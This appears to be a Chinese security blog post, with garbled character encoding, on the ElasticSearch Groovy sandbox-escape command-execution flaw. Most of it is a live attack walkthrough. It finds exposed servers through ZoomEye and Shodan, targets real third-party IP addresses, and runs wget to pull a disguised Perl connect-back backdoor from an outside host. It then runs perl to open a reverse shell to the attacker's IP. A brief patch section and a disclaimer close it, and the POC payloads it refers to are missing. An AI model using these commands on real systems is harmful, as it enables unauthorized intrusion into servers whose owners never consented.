ElasticSearch命令執(zhí)行漏洞:通過(guò)perl進(jìn)行反彈shell
原創(chuàng)ElasticSearch是一個(gè)基于Lucene的搜索服務(wù)器。它提供了一個(gè)分布式多用戶能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java開發(fā)的,并作為Apache許可條款下的開放源碼發(fā)布,是第二最流行的企業(yè)搜索引擎。設(shè)計(jì)用于云計(jì)算中,能夠達(dá)到實(shí)時(shí)搜索,穩(wěn)定,可靠,快速,安裝使用方便。目前網(wǎng)絡(luò)公開部署Elasticsearch大概有數(shù)萬(wàn)臺(tái)服務(wù)器,內(nèi)部網(wǎng)絡(luò)部署就不計(jì)其數(shù)了。Elasticsearch用了兩個(gè)危險(xiǎn)性的腳本MVEL和Groovy。2014年5月MVEL爆出來(lái)命令執(zhí)行漏洞,這次輪到Groovy了,Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 腳本引擎存在漏洞。這個(gè)漏洞允許攻擊者構(gòu)造Groovy腳本繞過(guò)沙箱檢查執(zhí)行shell命令,已修復(fù)的版本是Elasticsearch 1.3.8 和 1.4.3。 這個(gè)漏洞不亞于Java Struct執(zhí)行命令漏洞,對(duì)與Linux和Windows平臺(tái)都適用,在實(shí)際測(cè)試中也有授權(quán)為最高權(quán)限r(nóng)oot或者system權(quán)限的,可以獲取webshell和最高系統(tǒng)權(quán)限。
受影響版本:
cpe:/a:elasticsearch:elasticsearch:1.4.2
cpe:/a:elasticsearch:elasticsearch:1.4.0
cpe:/a:elasticsearch:elasticsearch:1.3.7
cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1
cpe:/a:elasticsearch:elasticsearch:1.4.1
(一)可利用POC
目標(biāo)地址http://www.antian365.com:9200/_search?pretty
POST提交以下數(shù)據(jù)
(二)perl可利用poc代碼
將以下代碼保存為ElasticSearch.py,執(zhí)行python ElasticSearch.py http://www.antian365.com:9200/ " cat /etc/issue " 即可執(zhí)行命令。需要執(zhí)行其它命令替換“cat /etc/issue”命令即可。
(三)通過(guò)perl腳本利用該0day獲取權(quán)限思路
需要在公網(wǎng)IP準(zhǔn)備一個(gè)pl的反彈腳本,例如back.pl,可以將腳本文件偽裝為jpg文件上傳到網(wǎng)站然后下載。例如www.antian365.com/lab/linux0day/back.pl.txt。然后依次執(zhí)行以下命令即可。
說(shuō)明:
(1)www.antian365.com為被攻擊目標(biāo)的IP或者域名,IP地址123.123.123.123為公網(wǎng)獨(dú)立IP,80端口為該服務(wù)器未開放端口。
(2)有部分服務(wù)器由于未安裝perl環(huán)境,因此有可能執(zhí)行命令失敗。
(四)實(shí)戰(zhàn)案例
(1)搜索目標(biāo)對(duì)象
通過(guò)http://www.zoomeye.org/或者shodanhq.com搜索“ElasticSearch”關(guān)鍵詞,直接訪問(wèn)網(wǎng)站地址http://www.zoomeye.org/search?q=ElasticSearch&t=host即可獲取結(jié)果。在該結(jié)果中可以看到各個(gè)國(guó)家使用該軟件的分布情況。隨機(jī)選擇一個(gè)IP進(jìn)行,本例選擇第一個(gè)IP地址http://192.241.225.207/,同時(shí)單擊IP地址右上角的一個(gè)小圖框連接地址,例如打開地址http://192.241.225.207:9200/進(jìn)行訪問(wèn),確認(rèn)該IP地址是否存活。
圖1 搜索目標(biāo)對(duì)象
(2)執(zhí)行命令
直接執(zhí)行python ElasticSearch.py http:// 192.241.225.207/ "/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl" 命令,但反饋結(jié)果為“HTTP Error 500: Internal Server Error”,如圖2所示。
再次使用FireFox便攜版本進(jìn)行測(cè)試,輸入目標(biāo)地址http://192.241.225.207:9200/_search?pretty,在Post data中輸入
其結(jié)果顯示如圖3所示,表明該漏洞已經(jīng)修復(fù)或者不可用。
圖2執(zhí)行命令
圖3再次測(cè)試漏洞是否可用
通過(guò)測(cè)試多個(gè)搜索結(jié)果,找到一個(gè)還存在漏洞的IP地址,在0day出來(lái)的第一時(shí)間基本每個(gè)目標(biāo)都能執(zhí)行,每多一分鐘就減少一個(gè),直接執(zhí)行以下代碼,成功運(yùn)行,無(wú)任何結(jié)果顯示,表明文件下載到服務(wù)本地成功。
python ElasticSearch.py http://192.241.222.xxx:9200/ "/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl"
執(zhí)行以下命令,成功后會(huì)顯示“Perl Connect-back Backdoor、Auther:Maple-x”表明shell執(zhí)行成功,如圖4所示。
python ElasticSearch.py http:// 192.241.222.xxx:9200/ "/usr/bin/perl /tmp/back.pl 124.123.122.11 80"
在本地監(jiān)聽(tīng)端口過(guò)幾秒種就會(huì)反彈shell回來(lái),執(zhí)行ifconfig命令,如圖5所示,確認(rèn)反彈shell成功,后續(xù)操作就任由入侵者發(fā)揮了!
圖4反彈shell命令成功
圖5成功獲取shell
(五)修復(fù)方法
建議用戶更新到最新版本。當(dāng)然如果不想升級(jí)版本也可以通過(guò)修改elasticseach.yml的script.groovy.sandbox.enabled 為false就行了。
注:請(qǐng)勿用于非法用途,僅供安全人員漏洞研究之用